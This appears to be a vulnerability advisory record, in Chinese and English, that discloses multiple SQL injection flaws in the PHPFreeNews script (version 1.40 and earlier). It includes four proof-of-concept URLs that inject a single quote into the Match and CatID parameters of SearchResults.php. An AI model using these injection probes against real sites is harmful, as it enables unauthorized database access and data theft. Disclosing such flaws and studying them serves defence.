https://www.exploit-db.com/exploits/26159
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200508-240

PHPFreeNews是一款免费的PHP脚本，允许用户显示站点的新闻头条和文章。PHPFreeNews中存在多个SQL注入漏洞，起因是没有正确的过滤用户输入。攻击者可以利用这些漏洞在基础数据库系统中执行任意代码。

source: http://www.securityfocus.com/bid/14589/info

PHPFreeNews is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/phpfn/SearchResults.php?Match='&NewsMode=1&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID='
http://www.example.com/phpfn/SearchResults.php?Match=%27&NewsMode=1&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID=%27

来源:BID
名称:14589
链接:http://www.securityfocus.com/bid/14589
来源:SECUNIA
名称:16490
链接:http://secunia.com/advisories/16490/
来源:BUGTRAQ
名称:20050817PHPFreeNewsV1.40andpriorMultipleVulnerabilities
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=112439254700016&w;=2
来源:SECTRACK
名称:1014726
链接:http://securitytracker.com/id?1014726